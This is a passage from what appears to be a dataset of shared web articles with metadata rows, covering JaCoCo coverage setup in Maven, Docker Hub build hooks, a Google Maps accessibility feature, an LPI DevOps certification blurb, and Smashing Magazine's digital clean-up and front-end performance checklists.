the property to failsafeArgLine . The value of this property is passed as a VM argument when our integration tests are run. Create an execution which creates the code coverage report for integration tests after integration tests have been run. Ensure that the execution data is read from the file target/coverage-reports/jacoco-it.exec and that the code coverage report is written to the directory target/site/jacoco-it . The relevant part of our plugin configuration looks as follows: That's it. We have now configured the JaCoCo Maven plugin. Our next step is to configure the Maven Surefire plugin. Let's find out how we can do this. Configuring The Maven Surefire Plugin We use the Maven Surefire plugin to run the unit tests of our example application. Because we want to create a code coverage report for our unit tests, we have to ensure that the JaCoCo agent is running when our unit tests are run. We can ensure this by adding the value of the surefireArgLine property as the value of the argLine configuration parameter. The configuration of the Maven Surefire plugin looks as follows (the required change is highlighted): We are almost done. The only thing left for us to do is to configure the Maven Failsafe plugin. Let's find out how we can do it. Configuring The Maven Failsafe Plugin The integration tests of our example application are run by the Maven Failsafe plugin. Because we want to create a code coverage report for our integration tests, we have to ensure that the JaCoCo agent is running when our integration tests are run. We can do this by adding the value of the failsafeArgLine property as the value of the argLine configuration parameter. The configuration of the Maven Failsafe plugin looks as follows (the required change is highlighted): Creating Code Coverage Reports We have now successfully finished the required configuration. Let's see how we can create code coverage reports for unit and integration tests. The example application of this blog post has three build profiles which are described in the following: The dev profile is used during development and it is the default profile of our build. When this profile is active, only unit tests are run. The integration-test profile is used to run integration tests. The all-tests profile is used to run both unit and integration tests. We can create different code coverage reports by running the following commands at command prompt: The command mvn clean test runs unit tests and creates the code coverage report for unit tests to the directory target/site/jacoco-ut . The command mvn clean verify -P integration-test runs integration tests and creates the code coverage report for integration tests to the directory target/site/jacoco-it . The command mvn clean verify -P all-tests runs unit and integration tests and creates code coverage reports for unit and integration tests. That's all for today. As always, the example application of this blog post is available at Github .",en
1482756143,CONTENT SHARED,672199059798181601,-8020832670974472349,4283749150543186146,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://medium.com/microscaling-systems/labelling-automated-builds-on-docker-hub-f3d073fb8e1,Labelling automated builds on Docker Hub - Microscaling Systems,"This is a follow up to my previous post Labelling problems with Docker automated builds . There is now a solution using a build hook . Automated builds are a popular feature on Docker Hub that build a new Docker image whenever a new commit is pushed to a git repository on GitHub or BitBucket. Docker labels are a powerful mechanism for adding metadata to your containers. As the New Stack says there are now some good practices for using them at label-schema.org . Build hooks allow you to generate up-to-date labels at build-time. So that your metadata is updated automatically as part of the automated build process. Why use an automated build? An automated build avoids the manual work of building, tagging and pushing Docker images. It also makes it easier to keep the code in your images in sync with the code in your version control system. Lastly there are some important security benefits if you rebuild your images regularly to incorporate security updates. If you're interested in automating your Docker build processes MicroBadger provides image change notifications . We check public Docker images you're interested in and call your webhook if they change. You can use this to trigger a build in your CI system or notify your team via Slack. Your first notification is free and you can join our private beta if you'd like more. How widely used are automated builds? Our research shows 26% of the the 410k public images on Docker Hub are using automated builds. They account for 32% of the 5.5 billion image pulls, 28% are official image pulls and the remaining 40% are pulls for non automated builds. What's the issue with labels? In general labelling your images is straightforward, using the LABEL command in your Dockerfile. However there are 2 label-schema.org labels that are very useful but need to be dynamic. These are org.label-schema.build-date and org.label-schema.vcs-ref. The vcs-ref lets you link your image to the code used to build it. The build-date is useful for several reasons. If your Dockerfile installs operating system packages your image might contain different versions depending on when it was built. Another example is when managing images at scale you might want to know all images in use that were built over, say, 3 months ago. For sensible reasons Docker don't allow dynamic code to run in the Dockerfile. Instead the ARG command is provided to pass data into the Dockerfile. This is easy when building images locally but for automated builds you need to use a build hook script. How does the hook work? Create a file called /hooks/build relative to your Dockerfile. This overrides the Docker build process so your script needs to build and tag the image. Here are the Docker Cloud docs on build hooks . Thanks to Pablo Chico de Guzmán and Justin Cormack @ Docker for helping us find this. The full example is on GitHub and the image is on Docker Hub . Here you can see the output from a build. Finally here you can see all the metadata on MicroBadger .",en
1482845034,CONTENT SHARED,-6851896696719147400,3609194402293569455,-8655456739305323571,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://googlediscovery.com/2016/12/26/google-maps-agora-mostra-se-local-tem-entrada-com-acessibilidade/,Google Maps agora mostra se local tem entrada com acessibilidade | Google Discovery,"O Google adicionou uma nova funcionalidade no Google Maps que permite descobrir se um local tem entrada com acessibilidade para ajudar pessoas que utilizam cadeiras de rodas. A informação sobre a existência de entrada com acessibilidade pode ser obtida junto os detalhes do estabelecimento que descrevem algumas de suas características, como ofertas, tipos de ambientes, comodidades e pagamentos. Nem todos os locais ainda foram mapeados no Brasil. Para ajudar o serviço, os usuários podem indicar por meio da ferramenta de sugerir alterações no próprio app do Google Maps. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1482888269,CONTENT SHARED,-1572252285162838958,9210530975708218054,-7673376373070890422,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.lpi.org/devops,LPIC-OT DevOps Engineer | Linux Professional Institute,"As more and more companies introduce DevOps methodology to their workflows, skills in using tools supporting the collaboration model of DevOps become increasingly important. Focussing on the most relevant DevOps tools, LPIC-OT DevOps Engineers will be able to implement a DevOps workflow and to optimize their daily administration and development tasks.",en
1482929117,CONTENT SHARED,-7108012586837980940,-4028919343899978105,1103146045123415934,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.smashingmagazine.com/2016/12/digital-clean-up-checklist/,The Ultimate Digital Clean-Up Checklist: Are You Prepared For The New Year? - Smashing Magazine,"With a couple of days left until New Year's Eve, it's just about time to set aside 60 minutes to clean up, sort out and back up your digital footprint, to ensure a good smooth start to 2017. So many little details tend to get forgotten or overlooked every single time, only to get fixed hastily later - but doesn't it just feel right when everything is in the right place, neatly organized, even if you aren't a compulsory cleaner or an obsessed perfectionist? This is not a generic article about unspectacular things like getting to inbox zero or changing the copyright year in your footer (although that's a good idea!) - we published a detailed checklist of all of those details a couple of years ago. Instead, you'll find below an overview of all of those obscure little things that I forget about every year; so, I decided to gather them all in one place once and for all. The list below serves as a personal reminder for yours truly, and I thought that it might be useful for you as well. In fact, I set up a yearly reminder on December 28th just to have a couple of days to free the mind for the more important things in life and to start the next year without second thoughts or unresolved issues. Curious? Well, let's dive in! If you think something is missing, do please let us know in the comments so that we can put it all together and benefit from it collectively. Collect The Things You Need Link Invoices! Who doesn't occasionally forget to include a payslip in their invoice, basically throwing money out of the window? Extract all the receipts and payslips that have accumulated over the year. You might already be using a dedicated phone app to scan, keep, organize, submit and track your receipts, but you might still have some neglected receipts in your inbox as well. Collect train, bus and airplane PDF tickets and receipts. You could organize them by destination and add a date stamp in a separate folder (for example, 2016/Dec-London/Receipts ). Collect Uber, Lyft, Gett and other PDF receipts, and save them in those folders as well (for example, 2016/Dec-London/Receipts/Cabs ). Collect PDF receipts for accommodation business expenses (Airbnb, hotels, takeout food), and save them in those folders (for example, 2016/Dec-London/Receipts/Accommodation ). Collect one-time expenses for printed books and eBooks, including any online purchases (such as from Amazon). Don't forget those handy utilities (Alfred, TextExpander, etc.), mobile apps, as well as your third-party text editor and calendar applications. Again, save them in those folders (for example, 2016/one-time-expenses ). Collect monthly digital expenses as PDF receipts and save them. Think of mobile phone charges, roaming expenses, Internet and TV, GitHub, CodePen, Typekit, Dropbox, Spotify, Slack, BrowserStack, Amazon S3, Adobe Creative Cloud, email services such as MailChimp, Litmus and Campaign Monitor, Flickr, Vimeo, Dribbble, Netflix, CRM tools, Amazon Prime, external services, hosting services and CDNs, usability testing tools, conference and workshop tickets, learning services such as Treehouse and Skillshare, and other monthly service costs . Not to mention the antivirus software and firewalls that you're using (and probably paying for monthly as well). Your monthly digital service costs might be higher than you think. Once you've collected all of the receipts, you could set up a little spreadsheet to keep track of your expenses (even using the free Google Spreadsheet template ). Your accountant will appreciate it, and you can set up a budget allowance of how much you'd like to spend next year. Knowing where you stand will help you decide how much money to set aside next year, and how you'd like to approach it strategically. While you're at it, double-check that all outstanding invoices have been sent and paid, and set up invoice reminders to be sent out automatically either in late December or in early January - for example, with Boomerang for Gmail . 8 Boomerang for Gmail 9 7 allows you to send reminders automatically, or send emails later. Delete Email Notifications Link Throughout the year, we are bombarded with all kinds of notifications - Twitter mentions, Basecamp messages, Trello cards, GitHub updates. Do you really need them? Quite frankly, more often than not, they clutter search, making it more difficult to find things you're looking for. Delete all notifications that have come in over the years: Review Privacy And Notification Settings Link While you're at it, review your notification settings as well. Do you really need hourly notifications, or would daily notifications do just fine? It's probably a good idea to reduce the frequency of notifications and then see whether you are missing anything - you can always adjust the frequency later. Delete any other notifications you probably don't need just by browsing your incoming messages by sender's address to identify the usual and not-so-usual suspects. You could set up a separate email address just for notifications (for example, notifications@smashingmagazine.com ) to prevent them from flooding your primary inbox, so that you can stay focused on emails from colleagues and coworkers. Also, double check your privacy settings in the applications you are using the most. Review the ads settings, data collection settings and security settings and activities in Gmail , Facebook , Twitter , LinkedIn , Pinterest and Instagram. Double points if you have installed an ad blocker and Privacy Badger that blocks spying ads and invisible trackers. Triple points if you also review authorized apps in Twitter, Facebook and Gmail. You've probably tried quite a few apps over the year once and never used them again; no need to grant them permission to access your accounts. Ah, quadruple your points if you look into the front-end performance checklist 2017 as well at this point! Delete Irrelevant Email Link Everybody loves a good ol' email newsletter. We here are guilty of this as much as any other (albeit lovely) company, and indeed we send Smashing newsletters every now and again (sorry about that!). It might just be time to revisit all of your subscriptions. If you haven't opened more than five newsletters from a single source, then you might not need them after all. Be brutal and unsubscribe from as many newsletters as you can. Depending on how thorough your cleaning preferences are, you might choose to either archive or delete messages received. Clean up your news alerts and notifications (New York Times, Quartz Daily). Clean up all out-of-office replies and automatic replies (filter by ""out-of-office"" and ""automatic reply""). Clean up all event reminders (Meetup.com, Eventbrite, etc.) - just save tickets that you will need for invoicing later, though! Clean up all form submissions (for example, Wufoo and Typeform). You can track conversations in email or download Excel spreadsheets later if needed. Clean up all the drafts of messages that you started writing and never finished. If you haven't sent them out yet, maybe you will never send them at all. Might be a good idea to check the contents of those drafts before deleting them, though - keep the good ideas and delete the unnecessary stuff! Archive customer support tickets and discussions, as well as emails that are older than a certain threshold. An email that is about three years old might be important enough to look up one day but doesn't need to be synced across all of your devices. Clean up all newsletters that you've never managed to read and that you won't be able to read this year. Chances are that if something is important and worth reading, it will bubble up in your conversations with colleagues or on Twitter or Facebook at some point anyway. Clean up all marketing newsletters from companies you admire and don't feel like unsubscribing from (MailChimp, Litmus, TED, type foundries, fashion brands etc.). Delete spam messages and, you know, deleted messages - for good. Again, just to keep all of these emails away from your primary inbox, it might be a good idea to set up a dedicated account for newsletters and form submissions. Also, set up a filter for all out-of-office replies and automatic replies. Revisit The Email Signature And Text Shortcuts Link Double-check that your email signature is up to date, especially your phone number, VAT number and postal address. Is including your mobile phone number in every email absolutely necessary? Maybe your office number would do just fine. And if you need a bit of inspiration for a tasteful email signature , Kat Neville has got your back with "" The Art and Science of the Email Signature "" - an article published seven years ago and still relevant today. Also, if you're using shortcuts and text abbreviations, possibly with a tool such as TextExpander, revisit your text snippets and write new ones, to save precious minutes next year. Delete Apps You Don't Need Link Unless you're an extraordinary, super-organized machine, all of your devices have complained to you throughout the year about the lack of space . Well, removing unnecessary email will help, but the main problem usually isn't just email. Among all of the apps installed on your phone, tablet, phablet, desktop, laptop, schlaptop, smart TV or anything in between, you are probably not using most of them. If you can't even remember what an app does, chances are high that you don't really need it on that device. You probably have Dropbox and Basecamp and Trello installed on your mobile phone, but how often do you actually access them? Do you need to fully sync your personal folder - usually you'll have your laptop nearby anyway, right? Delete all the apps you don't use - maybe you've replaced some of the installed ones with the newer, better alternatives, or maybe you tend to use the services on desktop, and the mobile apps aren't useful anyway? While finding your way through your apps and looking through the ones you use a lot, revise your privacy and notification settings on mobile - many of them might be slowing you down and draining your battery because they are running in the background. Check what apps are actively updating, refreshing and collecting data about you behind your back in the ""Background App Refresh"" settings - deactivating them might be a good idea. Also, don't forget to archive your chat messages and media files sent via WhatsApp and Viber. And - if you'd like to go all the way - delete your accounts on services you don't use . Offload Images And Videos To An External Hard Drive Link Everybody needs access to a memorable concert video or colorful pictures from a recent trip - I get it. However, when you need space, you need to be reassured that if you delete that great video, you will still be able to find it easily when needed. Having an overloaded phone and running out of space is that one thing that is probably the most annoying (at least to me!) during the year. Offload all images from your phone and tablet to Dropbox, Google Drive, iCloud, and your laptop or desktop, or just get a dedicated external hard drive and store them there neatly. This goes for movies you haven't watched yet and TV shows you're saving for that long-haul intercontinental flight next year. Also, unless you already have automated backup in place, back up all critical data - you can also request your Twitter archive , backup your WhatsApp messages , and export your Facebook messages and export your Medium posts , if that's your kind of thing. Revisit Your Ultimate Restore Reboot Kit Link What happens if your phone drowns or your laptop decides to cease cooperating with you? Be ready in case something happens to your machine and you need it right away. Obviously, you have backed up your phone and your desktop, but what if something fails or you don't have online access? (Yep, it's happened to me - start watching the first video at 5:55:25). Prepare a Restore Kit , a folder collecting all your important applications, settings and license codes. Take a close look at all of the applications you use regularly and write them down. You might end up with something like what follows. Download the latest versions of these applications, extract the settings or config files from your existing apps, and store them all both locally and on a USB stick. Some services live online, so make sure to reference them (for example, in a plain-text file). Also, don't forget to extract, encrypt and store the license codes for all of your locally installed applications: Save encrypted passwords for your Google Chrome and Firefox accounts , so that you don't need to sync bookmarks, popular search hits, your browsing history or extensions. Save encrypted credentials to access your primary email account. Save encrypted PIN and PUK codes for your mobile phone. Take a screenshot of the arrangement of icons on your desktop, tablet and phone - including the deck and app icons on your phone. They will serve as a point of reference. Sync them via Dropbox - just in case mobile/desktop backup fails at some point in the future (yep, happened to me already as well). If you put all of these files together in a separate Restore Kit folder, encrypted and stored both locally and on an external USB drive, you'll be able to set up your working environment and get up and running completely from scratch within half an hour. Bonus points if you use Ninite (Windows), Get Mac Apps , createOSXinstallPkg or Homebrew Cask (Mac) with a little shell script to bundle a handful of installable packages and run them at once one after another automatically. Better to feel safe than sorry! Random Stuff Link Just to make sure you don't leave out something important in your to-do-list or in the ""considered-to-be-spam"" trench of your inbox, below is a quick checklist of a few things that could be helpful to revisit before diving into the new year: Install updates you've been delaying for weeks. Check Facebook's hidden tab, ""Message requests,"" for people who aren't your Facebook friends. Check whether you're overpaying for mobile, Internet or web services - prices tend to change all the time. Learn one new keyboard shortcut a week, and define at least one custom text abbreviation a week. Remove sharing buttons, links and any irrelevant content from the footer. Clean up your desktop before the new year starts - when in doubt, just quickly hide all of the icons on your desktop . Write down important phone numbers of relatives, close friends and colleagues - on paper - and store them carefully. Whenever a loved one mentions something they'd love to have, write it down and order it right away - you'll find an occasion to give it to them later in the year. Clean up your desktop before the new year starts - when in doubt, just quickly hide all of the icons on your desktop. Set Up Cleanup Reminders For Future Years Link Of course, in a perfect world, we would properly name all files and keep them in properly grouped and marked folders, and we would keep our inbox lean and clean. But more often than not, our data isn't as neatly organized as we'd love it to be. Set up a cleaning reminder for late December 2017 (and December 2018), maybe even with a link to this article. Quick Wins Link Phew! Here we go. Now, this list is quite comprehensive, and taking on the task of cleaning up your digital footprint might be the most tedious task you accomplish this entire year! So, if you had just one hour to get significant improvements, what would you do? Let's boil it all down to 7 low-hanging fruits . Think of and collect the receipts for the highest business expenses to send to your accountant early next year. Double-check that all outstanding invoices have been sent and paid. Revisit the frequency of notifications for services you use. Delete email notifications. The usual suspects are email, Twitter, Facebook, Trello and Slack. Review your privacy settings, ads settings, data collection settings and security settings and review authorized apps in Twitter, Facebook, Gmail and others. Create separate email accounts (and/or filters) for notifications and receipts. Delete apps that you don't need on your phone, tablet and desktop. Revisit your ultimate restore or reboot kit: List essential apps, and collect and sync config and settings files, encrypted license files and the arrangement of icons on your screens. Whenever a loved one mentions something they'd love to have, write it down and order it right away. Now, happy cleanup! And have a good clean start to 2017! Not good enough? Well, let us know what's missing in the comments below! 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ↑ Back to top Tweet it Share on Facebook",en
1482947216,CONTENT SHARED,215332765550420709,-4125205337625989832,-439916930702107039,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://www.smashingmagazine.com/2016/12/front-end-performance-checklist-2017-pdf-pages/,"Front-End Performance Checklist 2017 (PDF, Apple Pages) - Smashing Magazine","Are you using progressive booting already? What about tree-shaking and code-splitting in React and Angular? Have you set up Brotli or Zopfli compression, OCSP stapling and HPACK compression? Also, how about resource hints, client hints and CSS containment - not to mention IPv6, HTTP/2 and service workers? Back in the day, performance was often a mere afterthought . Often deferred till the very end of the project, it would boil down to minification, concatenation, asset optimization and potentially a few fine adjustments on the server's config file. Looking back now, things seem to have changed quite significantly. Performance isn't just a technical concern: It matters, and when baking it into the workflow, design decisions have to be informed by their performance implications. Performance has to be measured, monitored and refined continually, and the growing complexity of the web poses new challenges that make it hard to keep track of metrics, because metrics will vary significantly depending on the device, browser, protocol, network type and latency (CDNs, ISPs, caches, proxies, firewalls, load balancers and servers all play a role in performance). So, if we created an overview of all the things we have to keep in mind when improving performance - from the very start of the process until the final release of the website - what would that list look like? Below you'll find a (hopefully unbiased and objective) front-end performance checklist for 2017 - an overview of the issues you might need to consider to ensure that your response times are fast and your website smooth. (You can also just download the checklist PDF 1 (0.129 MB) or download the checklist in Apple Pages 2 (0.236 MB). Happy optimizing!) Front-End Performance Checklist 2017 Link Micro-optimizations are great for keeping a performance on track, but it's critical to have clearly defined targets in mind - measurable goals that would influence any decisions made throughout the process. There are a couple of different models, and the ones discussed below are quite opinionated - just make sure to set your own priorities early on. Getting Ready And Setting Goals Link Be 20% faster than your fastest competitor. According to psychological research 3 , if you want users to feel that your website is faster than any other website, you need to be at least 20% faster. Full-page loading time isn't as relevant as metrics such as start rendering time, the first meaningful paint 4 (i.e. the time required for a page to display its primary content) and the time to interactive 5 (the time at which a page - and primarily a single-page application - appears to be ready enough that a user can interact with it). Measure start rendering (with WebPagetest 168 6 ) and first meaningful paint times (with Lighthouse 172 7 ) on a Moto G, a mid-range Samsung device and a good middle-of-the-road device like a Nexus 4, preferably in an open device lab 8 - on regular 3G, 4G and Wi-Fi connections. 9 Lighthouse, a new performance auditing tool by Google. Look at your analytics to see what your users are on. You can then mimic the 90th percentile's experience for testing. Collect data, set up a spreadsheet 10 , shave off 20%, and set up your goals (i.e. performance budgets 11 ) this way. Now you have something measurable to test against. If you're keeping the budget in mind and trying to ship down just the minimal script to get a quick time-to-interactive value, then you're on a reasonable path. 12 Performance budget builder 13 by Brad Frost. Share the checklist with your colleagues. Make sure that the checklist is familiar to every member of your team to avoid misunderstandings down the line. Every decision has performance implications, and the project would hugely benefit from front-end developers being actively involved when the concept, UX and visual design are decided on. Map design decisions against performance budget and the priorities defined in the checklist. 100-millisecond response time, 60 frames per second. The RAIL performance model 14 gives you healthy targets: Do your best to provide feedback in less than 100 milliseconds after initial input. To allow for <100 milliseconds response, the page must yield control back to main thread at latest after every <50 milliseconds. For high pressure points like animation, it's best to do nothing else where you can and the absolute minimum where you can't. Also, each frame of animation should be completed in less than 16 milliseconds, thereby achieving 60 frames per second (1 second ÷ 60 = 16.6 milliseconds) - preferably under 10 milliseconds. Because the browser needs time to paint the new frame to the screen your code should finish executing before hitting the 16.6 milliseconds mark. Be optimistic 15 and use the idle time wisely. Obviously, these targets apply to runtime performance, rather than loading performance. Defining the Environment Link Choose and set up your build tools. Don't pay much attention to what's supposedly cool these days. Stick to your environment for building, be it Grunt, Gulp, Webpack, PostCSS or a combination of tools. As long as you are getting results fast and you have no issues maintaining your build process, you're doing just fine. 24 PRPL stands for Pushing critical resource, Rendering initial route, Pre-caching remaining routes and Lazy-loading remaining routes on demand. 25 An application shell 26 is the minimal HTML, CSS, and JavaScript powering a user interface. AMP or Instant Articles? Depending on the priorities and strategy of your organization, you might want to consider using Google's AMP 27 or Facebook's Instant Articles 28 . You can achieve good performance without them, but AMP does provide a solid performance framework with a free content delivery network (CDN), while Instant Articles will boost your performance on Facebook. You could build progressive web AMPs 29 , too. Choose your CDN wisely. Depending on how much dynamic data you have, you might be able to ""outsource"" some part of the content to a static site generator 30 , pushing it to a CDN and serving a static version from it, thus avoiding database requests. You could even choose a static-hosting platform 31 based on a CDN, enriching your pages with interactive components as enhancements ( JAMStack 32 ). Notice that CDNs can serve (and offload) dynamic content as well? So, restricting your CDN to static assets is not necessary. Double-check whether your CDN performs content compression and conversion, smart HTTP/2 delivery, edge-side includes, which assemble static and dynamic parts of pages at the CDN's edge (i.e. the server closest to the user), and other tasks. Build Optimizations Link Set your priorities straight. It's a good idea to know what you are dealing with first. Run an inventory of all of your assets (JavaScript, images, fonts, third-party scripts and ""expensive"" modules on the page, such as carousels, complex infographics and multimedia content), and break them down in groups. Set up a spreadsheet. Define the basic core experience for legacy browsers (i.e. fully accessible core content), the enhanced experience for capable browsers (i.e. the enriched, full experience) and the extras (assets that aren't absolutely required and can be lazy-loaded, such as web fonts, unnecessary styles, carousel scripts, video players, social media buttons, large images). We published an article on "" Improving Smashing Magazine's Performance 33 ,"" which describes this approach in detail. Use the ""cutting-the-mustard"" technique. Use the cutting-the-mustard technique 34 to send the core experience to legacy browsers and an enhanced experience to modern browsers. Be strict in loading your assets: Load the core experience immediately, the enhancements on DomContentLoaded and the extras on the load event. Note that the technique deduces device capability from browser version, which is no longer something we can do these days. For example, cheap Android phones in developing countries mostly run Chrome and will cut the mustard despite their limited memory and CPU capabilities. Beware that, while we don't really have an alternative, use of the technique has become more limited recently. Are HTTP cache headers set properly? Double-check that expires , cache-control , max-age and other HTTP cache headers have been set properly. In general, resources should be cacheable either for a very short time (if they are likely to change) or indefinitely (if they are static) - you can just change their version in the URL when needed. If possible, use Cache-control: immutable , designed for fingerprinted static resources, to avoid revalidation (as of December 2016, supported only in Firefox 47 on transactions). You can use Heroku's primer on HTTP caching headers 48 , Jake Archibald's "" Caching Best Practices 49 "" and Ilya Grigorik's HTTP caching primer 50 as guides. Limit third-party libraries, and load JavaScript asynchronously. When the user requests a page, the browser fetches the HTML and constructs the DOM, then fetches the CSS and constructs the CSSOM, and then generates a rendering tree by matching the DOM and CSSOM. If any JavaScript needs to be resolved, the browser won't start rendering the page until it's resolved, thus delaying rendering. As developers, we have to explicitly tell the browser not to wait and to start rendering the page. The way to do this for scripts is with the defer and async attributes in HTML. In practice, it turns out we should prefer defer to async 51 (at a cost to users of Internet Explorer 52 up to and including version 9, because you're likely to break scripts for them). Also, limit the impact of third-party libraries and scripts, especially with social sharing buttons and <iframe> embeds (such as maps). You can use static social sharing buttons 53 (such as by SSBG 54 ) and static links to interactive maps 55 instead. Are images properly optimized? As far as possible, use responsive images 56 with srcset , sizes and the <picture> element. While you're at it, you could also make use of the WebP format 57 by serving WebP images with the <picture> element and a JPEG fallback (see Andreas Bovens' code snippet 58 ) or by using content negotiation (using Accept headers). Sketch natively supports WebP, and WebP images can be exported from Photoshop using a WebP plugin for Photoshop 59 . Other options are available 60 , too. 61 Responsive Image Breakpoints Generator 65 62 automates images and markup generation. You can also use client hints 63 , which are now gaining browser support 64 . Not enough resources to bake in sophisticated markup for responsive images? Use the Responsive Image Breakpoints Generator 65 62 or a service such as Cloudinary 66 to automate image optimization. Also, in many cases, using srcset and sizes alone will reap significant benefits. On Smashing Magazine, we use the postfix -opt for image names - for example, brotli-compression-opt.png ; whenever an image contains that postfix, everybody on the team knows that it's been optimized. Are web fonts optimized? Chances are high that the web fonts you are serving include glyphs and extra features that aren't being used. You can ask your type foundry to subset web fonts or subset them yourself 75 if you are using open-source fonts (for example, by including only Latin with some special accent glyphs) to minimize their file sizes. WOFF2 support 76 is great, and you can use WOFF and OTF as fallbacks for browsers that don't support it. Also, choose one of the strategies from Zach Leatherman's "" Comprehensive Guide to Font-Loading Strategies 80 77 ,"" and use a service worker cache to cache fonts persistently. Need a quick win? Pixel Ambacht has a quick tutorial and case study 78 to get your fonts in order. 79 Zach Leatherman's Comprehensive Guide to Font-Loading Strategies 80 77 provides a dozen of options for bettern web font delivery. If you can't serve fonts from your server and are relying on third-party hosts, make sure to use Web Font Loader 81 . FOUT is better than FOIT 82 ; start rendering text in the fallback right away, and load fonts asynchronously - you could also use loadCSS 83 for that. You might be able to get away with locally installed OS fonts 84 as well. Push critical CSS quickly. To ensure that browsers start rendering your page as quickly as possible, it's become a common practice 85 to collect all of the CSS required to start rendering the first visible portion of the page (known as ""critical CSS"" or ""above-the-fold CSS"") and add it inline in the <head> of the page, thus reducing roundtrips. Due to the limited size of packages exchanged during the slow start phase, your budget for critical CSS is around 14 KB. If you go beyond that, the browser will need addition roundtrips to fetch more styles. CriticalCSS 86 and Critical 87 enable you to do just that. You might need to do it for every template you're using. If possible, consider using the conditional inlining approach 88 used by the Filament Group. With HTTP/2, critical CSS could be stored in a separate CSS file and delivered via a server push without bloating the HTML. The catch is that server pushing isn't supported consistently and has some caching issues (see slide 114 onwards of Hooman Beheshti's presentation 89 ). The effect could, in fact, be negative 90 and bloat the network buffers, preventing genuine frames in the document from being delivered. Server pushing is much more effective on warm connections 91 due to the TCP slow start. So, you might need to create a cache-aware HTTP/2 server push mechanism 92 . Keep in mind, though, that the new cache-digest specification 93 will negate the need to manually build these ""cache-aware"" servers. Improve rendering performance. Isolate expensive components with CSS containment 104 - for example, to limit the scope of the browser's styles, of layout and paint work for off-canvas navigation, or of third-party widgets. Make sure that there is no lag when scrolling the page or when an element is animated, and that you're consistently hitting 60 frames per second. If that's not possible, then at least making the frames per second consistent is preferable to a mixed range of 60 to 15. Use CSS' will-change 105 to inform the browser of which elements and properties will change. Also, measure runtime rendering performance 106 (for example, in DevTools 107 ). To get started, check Paul Lewis' free Udacity course on browser-rendering optimization 108 . We also have a lil' article by Sergey Chikuyonok on how to get GPU animation right 109 . Warm up the connection to speed up delivery. Use skeleton screens, and lazy-load all expensive components, such as fonts, JavaScript, carousels, videos and iframes. Use resource hints 110 to save time on dns-prefetch 111 (which performs a DNS lookup in the background), preconnect 112 (which asks the browser to start the connection handshake (DNS, TCP, TLS) in the background), prefetch 113 (which asks the browser to request a resource), prerender 114 (which asks the browser to render the specified page in the background) and preload 115 (which prefetches resources without executing them, among other things). Note that in practice, depending on browser support, you'll prefer preconnect to dns-prefetch , and you'll be cautious with using prefetch and prerender - the latter should only be used if you are very confident about where the user will go next (for example, in a purchasing funnel). Properly deploy HTTP/2. Again, serving assets over HTTP/2 123 requires a major overhaul of how you've been serving assets so far. You'll need to find a fine balance between packaging modules and loading many small modules in parallel. On the one hand, you might want to avoid concatenating assets altogether, instead breaking down your entire interface into many small modules, compressing them as a part of the build process, referencing them via the ""scout"" approach 124 and loading them in parallel. A change in one file won't require the entire style sheet or JavaScript to be redownloaded. On the other hand, packaging still matters 125 because there are issues with sending many small JavaScript files to the browser. First, compression will suffer . The compression of a large package will benefit from dictionary reuse, whereas small separate packages will not. There's standard work to address that, but it's far out for now. Secondly, browsers have not yet been optimized for such workflows. For example, Chrome will trigger inter-process communications 126 (IPCs) linear to the number of resources, so including hundreds of resources will have browser runtime costs. 127 To achieve best results with HTTP/2, consider to load CSS progressively 129 128 , as suggested by Chrome's Jake Archibald. Still, you can try to load CSS progressively 129 128 . Obviously, by doing so, you are actively penalizing HTTP/1.1 users, so you might need to generate and serve different builds to different browsers as part of your deployment process, which is where things get slightly more complicated. You could get away with HTTP/2 connection coalescing 130 , which allows you to use domain sharding while benefiting from HTTP/2, but achieving this in practice is difficult. What to do? If you're running over HTTP/2, sending around 10 packages seems like a decent compromise (and isn't too bad for legacy browsers). Experiment and measure to find the right balance for your website. Make sure the security on your server is bulletproof. All browser implementations of HTTP/2 run over TLS, so you will probably want to avoid security warnings or some elements on your page not working. Double-check that your security headers are set properly 131 , eliminate known vulnerabilities 132 , and check your certificate 133 . Haven't migrated to HTTPS yet? Check The HTTPS-Only Standard 134 for a thorough guide. Also, make sure that all external plugins and tracking scripts are loaded via HTTPS, that cross-site scripting isn't possible and that both HTTP Strict Transport Security headers 135 and Content Security Policy headers 136 are properly set. Do your servers and CDNs support HTTP/2? Different servers and CDNs are probably going to support HTTP/2 differently. Use Is TLS Fast Yet? 139 137 to check your options, or quickly look up how your servers are performing and which features you can expect to be supported. 138 Is TLS Fast Yet? 139 137 allows you to check your options for servers and CDNs when switching to HTTP/2. Is OCSP stapling enabled? By enabling OCSP stapling on your server 146 , you can speed up your TLS handshakes. The Online Certificate Status Protocol (OCSP) was created as an alternative to the Certificate Revocation List (CRL) protocol. Both protocols are used to check whether an SSL certificate has been revoked. However, the OCSP protocol does not require the browser to spend time downloading and then searching a list for certificate information, hence reducing the time required for a handshake. Is HPACK compression in use? If you're using HTTP/2, double-check that your servers implement HPACK compression 151 for HTTP response headers to reduce unnecessary overhead. Because HTTP/2 servers are relatively new, they may not fully support the specification, with HPACK being an example. H2spec 152 is a great (if very technically detailed) tool to check that. HPACK works 153 . 154 H2spec ( View large version 155 ) ( Image source 156 ) Testing and Monitoring Link Have you tested in proxy browsers and legacy browsers? Testing in Chrome and Firefox is not enough. Look into how your website works in proxy browsers and legacy browsers. UC Browser and Opera Mini, for instance, have a significant market share in Asia 165 (up to 35% in Asia). Measure average Internet speed 166 in your countries of interest to avoid big surprises down the road. Test with network throttling, and emulate a high-DPI device. 